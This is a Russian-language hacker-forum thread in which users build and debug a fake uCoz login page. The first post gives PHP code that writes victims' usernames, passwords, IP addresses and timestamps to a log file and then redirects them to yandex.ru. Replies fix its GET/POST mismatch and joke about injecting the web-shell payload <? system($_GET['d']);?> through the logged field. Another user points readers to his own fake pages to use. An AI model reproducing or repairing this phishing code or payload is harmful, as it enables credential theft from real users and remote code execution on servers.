фейк юкоза

[-=Dem0n=-]

Хотел создать фейк юкоза но ничего не получилось получил в адресной строке такую фигню
http://localhost/cs.php?user=qwert&password=qwert&rem=1&go=%C2%F5%EE%E4
вот фейк
<?php
ob_start();
function reglog($filename, $user, $password)
{
$d = date("d.m.Y - H.i.s");
$addr = getenv('REMOTE_ADDR');
$str = 'Login '.$user."\n";
$str .= 'Password '.$password."\n";
$str .= 'IP '.$addr."\n";
$str .= 'Date '.$d."\n";

$f = fopen($filename, "a+");
fwrite($f, $str."\n");
fclose($f);
header('location: http://yandex.ru');
return true;
}

$filename = 'log.php';

if (isset($_POST['go'])) reglog($filename, $_POST['user'], $_POST['password']);

ob_end_flush();
?>
после слова вход закрыл форму </form> имя типа submit - go
вроде все правильно.

[NuR]

if (isset($_POST['go'])) reglog($filename, $_POST['user'], $_POST['password'])
вот тут подразумеваеться что ты данные постом передаешь, а на самом деле ты шлешь их GET

[etc]

Я, несмотря на свой, в меру изощреный ум, ох*ел от такого фейка.

[NuR]

$filename = 'log.php';

if (isset($_POST['go'])) reglog($filename,
очень тру кстате =) а вдруг холдера завут <? system($_GET['d']);?> ?=)

[-=Dem0n=-]

Всем спасибо разобрался:)

[P3L3NG]

найди созданныемной топики - фЭйк юкоза и юзай=)